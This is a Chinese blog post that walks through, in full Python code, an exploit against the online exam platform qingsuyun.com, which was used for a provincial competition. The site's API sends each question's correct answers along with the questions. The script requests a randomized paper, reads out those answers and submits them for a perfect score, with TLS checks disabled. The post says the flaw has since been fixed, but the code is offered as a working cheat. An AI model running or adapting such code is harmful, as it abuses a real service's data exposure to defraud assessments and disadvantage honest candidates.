网站已经修复了这个漏洞,发布出来给大家参考一下。
前几天,浙江省的卡尔马克思杯举行,这次比赛是依托在https://www.qingsuyun.com这个网站上的,因此这次就用python来对这个网站的考试系统进行破解,先来看破解结果,只要是这个网站的试卷,都可以输入试卷的网址获取到100分。
.
来讲原理,比较奇葩的是这个网站的试卷的答案是和试题库一起发下来的,这是网站的程序员为自己开的后门吗?手动滑稽。这个程序的原理就是通过抓取题目与题目的答案,再去提交。
我们这里就以程序运行的顺序来讲。
首先输入试卷所在的网址,如:https://www.qingsuyun.com/h5/109998/1804200210/ 这种,我们首先要输入自己的信息来获取到一份随机的试卷,我们如何知道我们需要填入哪些信息?这里就需要用到get_loginmessage(papaId)这个函数,这个函数主要就是去访问某个特定的网址获取到的。我这里通过一次遍历,将需要填入的信息一次性返回回来。
def get_loginmessage(papaId):#获取登录需要的信息,通过一个遍历增加到list里面
list=[]
postdata = {'paperId': papaId, 'queryCollection': 'false'}
jsondatas = requests.post('https://www.qingsuyun.com/h5/actions/exam/execute/find-collection.json', data=postdata,
verify=False).json()
for jsondata in jsondatas['body']:
loginmessage = {}
loginmessage['fieldType'] = jsondata['fieldType']
loginmessage['fieldName'] = jsondata['fieldName']
loginmessage['creatorId'] = jsondata['creatorId']
loginmessage['sortIndex'] = jsondata['sortIndex']
loginmessage['fieldType'] = jsondata['fieldType']
loginmessage['.answerContent'] = input('输入%s:' % (loginmessage['fieldName']))
list.append(loginmessage)
return list
因为每一份试卷都是随机的,因此我们需要获取这份随机试卷的编号,这里称为answerId,这里需要访问一个特点的网址去获取到这个answerId
def get_answerId(messages,papaId):#通过发送个人信息获取到一份随机的试卷,获取到这份随机试卷的id号码
postdata = {}
for i in range(len(messages)):
pre = 'collections[%d].' % (i)
for key, value in messages[i].items():
postdata[pre + key] = value
postdata['paperId'] = papaId
postdata['startNow'] = 'true'
jsondata = requests.post('https://www.qingsuyun.com/h5/actions/exam/execute/create-exam.json', data=postdata,
verify=False).json()
answerId = jsondata['body']['answerId']
return answerId
获取到answerId,就到了我们最想要的一部了,获取试卷的问题和答案。
questiondata = {'answerId': answerId, 'queryItems': 'true'}
rawquestions = requests.post('https://www.qingsuyun.com/h5/actions/exam/execute/find-exam.json',
data=questiondata, verify=False).json()
jsonquestions = rawquestions
但是为了方便我就是在得到的全部问题中,分离出来一个问题就发送一个答案,但是问题的类型,没有这么简短,就只有选择题,这里一共有四种类型的问题,分别是单选题,多选题,填空题和判断题我这里用了 in 用来区分到底是哪种类型,再通过不同类型不同待遇放到postdata里面。
for jsonquestion in jsonquestions:
temp = []
postdata={'questionId':jsonquestion['questionId'],
'answerId':jsonquestion['answerId']}
if 'single' in jsonquestion['jsonData']:
for js in jsonquestion['jsonData']['single']['options']:
if js['rightAnswers'] == True:
postdata['answerContent']=js['sortIndex']
elif 'multiple' in jsonquestion['jsonData']:
for js in jsonquestion['jsonData']['multiple']['options']:
if js['rightAnswers'] == True:
temp.append(js['sortIndex'])
temp=str(temp).replace(' ','').replace('[','').replace(']','')
postdata['answerContent'] = temp
elif 'judge' in jsonquestion['jsonData']:
postdata['answerContent']=str(jsonquestion['jsonData']['judge']['rightAnswers']).lower()
elif 'vacancy' in jsonquestion['jsonData']:
for js in jsonquestion['jsonData']['vacancy']['options']:
try:
temp.append(js['rightAnswers'].split('|||')[-1])
except:
temp.append(js['rightAnswers'])
postdata['answerContent']=str(temp).replace("'",'"')
print(str(temp).replace("'",'"'))
requests.post('https://www.qingsuyun.com/h5/actions/exam/execute/submit-answer.json', data=postdata,
verify=False)
最后答完题目后发送一个信息给网站,说明自己以及答完题目了
def end(answerId):#发送结束指令给系统,说明自己这张试卷以及结束
postdata={"answerId":answerId,'interrupt':'false'}
requests.post('https://www.qingsuyun.com/h5/actions/exam/execute/finish-exam.json',data=postdata,verify=False)
但是我们需要得到结果给别人看,所以就需要去获取到结果,我们需要获取到查询的验证码
def get_result(answerId):
postdata={'answerId':answerId,'queryItems':"false",'queryScoreLevels':'false'}
jsondata=requests.post('https://www.qingsuyun.com/h5/actions/exam/execute/find-exam.json',data=postdata,verify=False).json()
return jsondata['body']['answerSheet']['queryCode']
接下来,把完整代码和运行结果发出来:
import requests
import re
import urllib3
urllib3.disable_warnings()
def get_loginmessage(papaId):#获取登录需要的信息,通过一个遍历增加到list里面
list=[]
postdata = {'paperId': papaId, 'queryCollection': 'false'}
jsondatas = requests.post('https://www.qingsuyun.com/h5/actions/exam/execute/find-collection.json', data=postdata,
verify=False).json()
for jsondata in jsondatas['body']:
loginmessage = {}
loginmessage['fieldType'] = jsondata['fieldType']
loginmessage['fieldName'] = jsondata['fieldName']
loginmessage['creatorId'] = jsondata['creatorId']
loginmessage['sortIndex'] = jsondata['sortIndex']
loginmessage['fieldType'] = jsondata['fieldType']
loginmessage['.answerContent'] = input('输入%s:' % (loginmessage['fieldName']))
list.append(loginmessage)
return list
def get_answerId(messages,papaId):#通过发送个人信息获取到一份随机的试卷,获取到这份随机试卷的id号码
postdata = {}
for i in range(len(messages)):
pre = 'collections[%d].' % (i)
for key, value in messages[i].items():
postdata[pre + key] = value
postdata['paperId'] = papaId
postdata['startNow'] = 'true'
jsondata = requests.post('https://www.qingsuyun.com/h5/actions/exam/execute/create-exam.json', data=postdata,
verify=False).json()
answerId = jsondata['body']['answerId']
return answerId
def postanswerAndquestion(answerId):#获取到这份试卷的问题与答案,并且发送答案
questiondata = {'answerId': answerId, 'queryItems': 'true'}
rawquestions = requests.post('https://www.qingsuyun.com/h5/actions/exam/execute/find-exam.json',
data=questiondata, verify=False).json()
jsonquestions = rawquestions
jsonquestions = jsonquestions['body']['examItems']
for jsonquestion in jsonquestions:
temp = []
postdata={'questionId':jsonquestion['questionId'],
'answerId':jsonquestion['answerId']}
if 'single' in jsonquestion['jsonData']:
for js in jsonquestion['jsonData']['single']['options']:
if js['rightAnswers'] == True:
postdata['answerContent']=js['sortIndex']
elif 'multiple' in jsonquestion['jsonData']:
for js in jsonquestion['jsonData']['multiple']['options']:
if js['rightAnswers'] == True:
temp.append(js['sortIndex'])
temp=str(temp).replace(' ','').replace('[','').replace(']','')
postdata['answerContent'] = temp
elif 'judge' in jsonquestion['jsonData']:
postdata['answerContent']=str(jsonquestion['jsonData']['judge']['rightAnswers']).lower()
elif 'vacancy' in jsonquestion['jsonData']:
for js in jsonquestion['jsonData']['vacancy']['options']:
try:
temp.append(js['rightAnswers'].split('|||')[-1])
except:
temp.append(js['rightAnswers'])
postdata['answerContent']=str(temp).replace("'",'"')
print(str(temp).replace("'",'"'))
requests.post('https://www.qingsuyun.com/h5/actions/exam/execute/submit-answer.json', data=postdata,
verify=False)
def end(answerId):#发送结束指令给系统,说明自己这张试卷以及结束
postdata={"answerId":answerId,'interrupt':'false'}
requests.post('https://www.qingsuyun.com/h5/actions/exam/execute/finish-exam.json',data=postdata,verify=False)
def get_result(answerId):
postdata={'answerId':answerId,'queryItems':"false",'queryScoreLevels':'false'}
jsondata=requests.post('https://www.qingsuyun.com/h5/actions/exam/execute/find-exam.json',data=postdata,verify=False).json()
return jsondata['body']['answerSheet']['queryCode']
if __name__ == "__main__":
url = input('输入考试网址:')
Ids = re.findall('(\d{1,10})', url, re.S)
papaId=Ids[2]
orizationId=Ids[1]
messages = get_loginmessage(papaId)
answerId = get_answerId(messages,papaId)
postanswerAndquestion(answerId)
end(answerId)
queryCode=get_result(answerId)
print('https://www.qingsuyun.com/h5/%s/exam-result/%s/'%(orizationId,queryCode))#产生一个网址,通过查询这个网址获取到这次考试的成绩
运行结果: